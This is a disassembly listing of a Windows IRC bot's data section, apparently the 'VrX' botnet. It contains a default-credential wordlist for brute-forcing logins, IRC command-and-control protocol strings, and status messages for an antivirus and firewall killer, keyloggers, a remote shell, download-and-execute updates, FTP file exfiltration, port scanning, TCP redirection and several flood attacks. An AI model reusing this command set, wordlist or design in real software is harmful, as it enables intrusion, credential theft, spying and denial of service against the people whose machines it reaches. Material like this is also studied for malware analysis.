aUser db 'user',0 ; DATA XREF: sub_401ACD+45CFo
; .packed:0042936Co
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: .packed:00429368o
align 10h
aHome db 'home',0 ; DATA XREF: .packed:00429364o
align 4
aAccounting db 'accounting',0 ; DATA XREF: .packed:00429360o
align 4
aAccounts db 'accounts',0 ; DATA XREF: .packed:0042935Co
align 10h
aInternet db 'internet',0 ; DATA XREF: .packed:00429358o
; .packed:004294B4o
align 4
aWww db 'www',0 ; DATA XREF: .packed:00429354o
aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o
; .packed:00429350o
aOutlook db 'outlook',0 ; DATA XREF: .packed:0042934Co
aMail db 'mail',0 ; DATA XREF: .packed:00429348o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .packed:00429344o
align 4
aNull_1 db 'null',0 ; DATA XREF: .packed:00429340o
align 4
aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo
; .packed:00429338o
align 4
aSystem db 'system',0 ; DATA XREF: .packed:00429334o
align 4
aChangeme db 'changeme',0 ; DATA XREF: .packed:0042932Co
align 10h
aLinux db 'linux',0 ; DATA XREF: .packed:00429328o
align 4
aUnix db 'unix',0 ; DATA XREF: .packed:00429324o
align 10h
aDemo db 'demo',0 ; DATA XREF: .packed:00429320o
align 4
aNone db 'none',0 ; DATA XREF: .packed:0042931Co
align 10h
aTest db 'test',0 ; DATA XREF: .packed:00429314o
align 4
a2004 db '2004',0 ; DATA XREF: .packed:00429310o
align 10h
a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo
; .packed:0042930Co
align 4
a2002 db '2002',0 ; DATA XREF: .packed:00429308o
align 10h
a2001 db '2001',0 ; DATA XREF: .packed:00429304o
align 4
a2000 db '2000',0 ; DATA XREF: .packed:00429300o
align 10h
a1234567890 db '1234567890',0 ; DATA XREF: .packed:004292FCo
align 4
a123456789 db '123456789',0 ; DATA XREF: .packed:004292F8o
align 4
a12345678 db '12345678',0 ; DATA XREF: .packed:004292F4o
align 4
a1234567 db '1234567',0 ; DATA XREF: .packed:004292F0o
a123456 db '123456',0 ; DATA XREF: .packed:004292ECo
align 4
a12345 db '12345',0 ; DATA XREF: .packed:004292E8o
align 4
a1234 db '1234',0 ; DATA XREF: .packed:004292E4o
align 4
a123 db '123',0 ; DATA XREF: .packed:004292E0o
a12 db '12',0 ; DATA XREF: .packed:004292DCo
align 4
a1: ; DATA XREF: .packed:0040AFC7o
; .packed:004292D8o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: .packed:004292D4o
aPwd db 'pwd',0 ; DATA XREF: .packed:004292D0o
aPass_0 db 'pass',0 ; DATA XREF: .packed:004292CCo
align 10h
aPass1234 db 'pass1234',0 ; DATA XREF: .packed:004292C8o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .packed:004292C4o
align 4
aPassword db 'password',0 ; DATA XREF: .packed:004292C0o
align 10h
aPassword1 db 'password1',0 ; DATA XREF: .packed:004292BCo
align 4
aAdm db 'adm',0 ; DATA XREF: .packed:004292B8o
aDb2 db 'db2',0 ; DATA XREF: .packed:00429460o
aOracle db 'oracle',0 ; DATA XREF: .packed:00429478o
align 4
aDba db 'dba',0
aDatabase db 'database',0 ; DATA XREF: .packed:00429440o
align 4
aDefault db 'default',0 ; DATA XREF: .packed:00429330o
aGuest_0 db 'guest',0 ; DATA XREF: .packed:00429318o
align 4
aWwwadmin db 'wwwadmin',0
align 4
aTeacher db 'teacher',0 ; DATA XREF: .packed:004294C0o
aStudent db 'student',0 ; DATA XREF: .packed:004294BCo
aOwner db 'owner',0
align 10h
aComputer db 'computer',0
align 4
aRoot db 'root',0 ; DATA XREF: .packed:0042933Co
align 4
aStaff db 'staff',0 ; DATA XREF: .packed:004294C4o
align 4
aAdmin db 'admin',0 ; DATA XREF: .packed:004292B4o
align 4
aAdmins db 'admins',0 ; DATA XREF: .packed:004292B0o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .packed:004292ACo
aAdministrateur db 'administrateur',0 ; DATA XREF: .packed:004292A8o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .packed:004292A4o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: .packed:004292A0o
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042916Co
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .packed:00429168o
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .packed:00429164o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .packed:off_429160o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: .packed:off_42915Co
dword_4299D4 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_401221+46Bo
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
dword_429A08 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_401221+420o
aServerRunningO db '- Server running on Port: 113.',0
align 4
unk_429A34 db 2Dh ; - ; DATA XREF: sub_401221+3F3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
unk_429A74 db 2Dh ; - ; DATA XREF: sub_401221+3A2o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
dword_429A98 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: sub_401221+364o
dd 2E646574h, 0
dword_429AB4 dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_401221+28Fo
dword_429AC0 dd 255C7325h, 73h ; DATA XREF: sub_401221+189o
; sub_41716F+45o
dword_429AC8 dd 73257325h, 0 ; DATA XREF: sub_401221+10Do
; sub_4100B4+EAo ...
unk_429AD0 db 3 ; DATA XREF: sub_4017ED+F2o
a81VrxConnected db '8,1-VrX- Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
align 4
unk_429B34 db 3 ; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0
align 4
unk_429B54 db 3 ; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA db '8,1-VrX- Password accepted.',0
align 4
unk_429B74 db 3 ; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0
align 10h
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7C52o
align 4
unk_429BC8 db 3 ; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7C02o
; sub_401ACD+7C69o
align 10h
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7BEBo
align 4
asc_429C48: ; DATA XREF: sub_401ACD+7BBBo
unicode 0, <~>,0
unk_429C4C db 3 ; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0
align 10h
unk_429C70 db 3 ; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0
align 4
unk_429C98 db 3 ; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8 db 3 ; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
align 4
unk_429CDC db 3 ; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC db 3 ; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C db 3 ; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0
align 4
unk_429D34 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40948Ao
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 10h
unk_429D60 db 2Dh ; - ; DATA XREF: sub_401ACD+79B6o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_429D84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40943Do
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_429DAC db 2Dh ; - ; DATA XREF: sub_401ACD+7966o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_401ACD+794Co
unk_429DD8 db 3 ; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_429DFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409300o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429E20 db 2Dh ; - ; DATA XREF: sub_401ACD+7829o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 10h
unk_429E40 db 3 ; DATA XREF: sub_401ACD+7809o
a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4092BDo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
unk_429E8C db 2Dh ; - ; DATA XREF: sub_401ACD+77C2o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_429EAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409255o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_429EDC db 2Dh ; - ; DATA XREF: sub_401ACD+777Eo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_429EFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4091F5o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429F2C db 2Dh ; - ; DATA XREF: sub_401ACD+7721o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 10h
dword_429F50 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401ACD+76DFo
dd 27732527h, 2Eh
unk_429F6C db 2Dh ; - ; DATA XREF: sub_401ACD+7667o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_429F90 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401ACD+75ECo
dd 0
unk_429FA8 db 2Dh ; - ; DATA XREF: sub_401ACD+75BFo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 4
dword_429FE8 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401ACD+7550o
dd 2Eh
dword_42A000 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401ACD:loc_408F9Do
dd 746E6573h, 2Eh
unk_42A01C db 2Dh ; - ; DATA XREF: sub_401ACD+74C9o
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_42A03C dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401ACD+748Fo
dd 732520h
unk_42A054 db 2Dh ; - ; DATA XREF: sub_401ACD+7481o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 10h
asc_42A080: ; DATA XREF: sub_401ACD+7469o
; sub_4100B4+FBo ...
dw 0Ah
unicode 0, <>,0
unk_42A084 db 3 ; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0
align 4
unk_42A0A4 db 3 ; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0
align 4
aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
align 4
aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0
; DATA XREF: sub_401ACD+73B4o
align 4
aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
align 4
aNormal_0 db 'normal',0 ; DATA XREF: sub_401ACD+72EDo
align 10h
aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
align 4
aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
; sub_401ACD+72E5o
align 10h
aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401ACD+7231o
align 4
unk_42A178 db 3 ; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0
align 10h
unk_42A190 db 3 ; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0
align 10h
unk_42A1C0 db 3 ; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0
align 4
unk_42A1E4 db 3 ; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0
align 10h
unk_42A200 db 3 ; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0
align 4
unk_42A21C db 3 ; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0
align 4
dword_42A238 dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
; DATA XREF: sub_401ACD+7028o
dword_42A24C dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
; sub_401ACD+7A49o
unk_42A258 db 3 ; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang db '8,1-VrX- Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FB6o
align 10h
dword_42A280 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401ACD+6F8Do
dd 25203A29h, 73h
dword_42A29C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401ACD+6F1Fo
dd 203A2973h, 7325h
dword_42A2B8 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6EC7o
dword_42A2C0 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401ACD+6E95o
dd 203A2973h, 7325h
dword_42A2DC dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2E8 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6DEBo
; sub_401ACD+6E71o ...
dword_42A2F0 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6DB6o
dword_42A2F8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D79o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42A334 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D0Eo
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 10h
unk_42A360 db 2Dh ; - ; DATA XREF: sub_401ACD+6CA8o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+6C39o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D0 db 3 ; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0
align 4
unk_42A404 db 3 ; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS db '8,1-VrX- Repeat: %s',0
align 4
dword_42A41C dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
; DATA XREF: sub_401ACD:loc_408591o
dword_42A430 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6A84o
; sub_401ACD+6B37o ...
dword_42A440 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 4
dword_42A488 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A19o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_42A4C4 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+69AAo
aDownloadingUpd db '- Downloading update from: %s.',0
align 10h
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+6904o
align 4
dword_42A4FC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401ACD+68A2o
dd 7325203Ah, 0
unk_42A518 db 2Dh ; - ; DATA XREF: sub_401ACD+6897o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42A53C db 2Dh ; - ; DATA XREF: sub_401ACD+67FDo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42A578 db 2Dh ; - ; DATA XREF: sub_401ACD+6787o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
dword_42A5A8 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40818Do
; sub_401ACD:loc_4091C7o
unk_42A5B4 db 2Dh ; - ; DATA XREF: sub_401ACD+66ABo
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_42A5D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408156o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 10h
unk_42A610 db 2Dh ; - ; DATA XREF: sub_401ACD+667Fo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A648 db 2Dh ; - ; DATA XREF: sub_401ACD+660Fo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A674 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+658Co
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 10h
dword_42A6B0 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+651Do
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 10h
unk_42A6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+64A4o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A718 db 2Dh ; - ; DATA XREF: sub_401ACD+6435o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A748 db 2Dh ; - ; DATA XREF: sub_401ACD+63ABo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A780 db 2Dh ; - ; DATA XREF: sub_401ACD+633Co
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42A7B0 db 2Dh ; - ; DATA XREF: sub_401ACD+62C3o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6254o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A824 db 2Dh ; - ; DATA XREF: sub_401ACD+61DBo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
dword_42A864 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+616Co
aDownloadingUrl db '- Downloading URL: %s to: %s.',0
align 10h
unk_42A890 db 2Dh ; - ; DATA XREF: sub_401ACD+609Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42A8D4 db 2Dh ; - ; DATA XREF: sub_401ACD+602Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A910 db 3 ; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5E85o
align 4
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5DB0o
align 4
dword_42A968 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5D22o
; sub_401ACD+7074o
unk_42A974 db 2Dh ; - ; DATA XREF: sub_401ACD+5CC0o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 10h
unk_42A9B0 db 2Dh ; - ; DATA XREF: sub_401ACD+5C51o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 10h
unk_42AA00 db 3 ; DATA XREF: sub_401ACD+5BBAo
; sub_401ACD+5FA0o
a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
align 4
unk_42AA38 db 3 ; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
db 's for %d minutes using %d threads.',0
align 10h
unk_42AAA0 db 3 ; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0
align 4
unk_42AAD4 db 3 ; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0
align 4
unk_42AB08 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_407320o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42AB38 db 2Dh ; - ; DATA XREF: sub_401ACD+584Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 10h
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5835o
aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+581Eo
align 10h
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+57FBo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: sub_401ACD+57D7o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+57C6o
align 4
unk_42ABA8 db 2Dh ; - ; DATA XREF: sub_401ACD+576Do
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_401ACD+574Ao
align 10h
unk_42ABD0 db 3 ; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC0C db 2Dh ; - ; DATA XREF: sub_401ACD+56B5o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42AC44 db 2Dh ; - ; DATA XREF: sub_401ACD+564Ao
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42AC8C db 2Dh ; - ; DATA XREF: sub_401ACD+5599o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 10h
unk_42ACC0 db 2Dh ; - ; DATA XREF: sub_401ACD+5565o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42ACF4 db 2Dh ; - ; DATA XREF: sub_401ACD+5541o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_42AD2C db 2Dh ; - ; DATA XREF: sub_401ACD+549Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
align 10h
unk_42AD80 db 2Dh ; - ; DATA XREF: sub_401ACD+546Do
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42ADB8 db 2Dh ; - ; DATA XREF: sub_401ACD+53FEo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
unk_42AE00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406E1Do
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
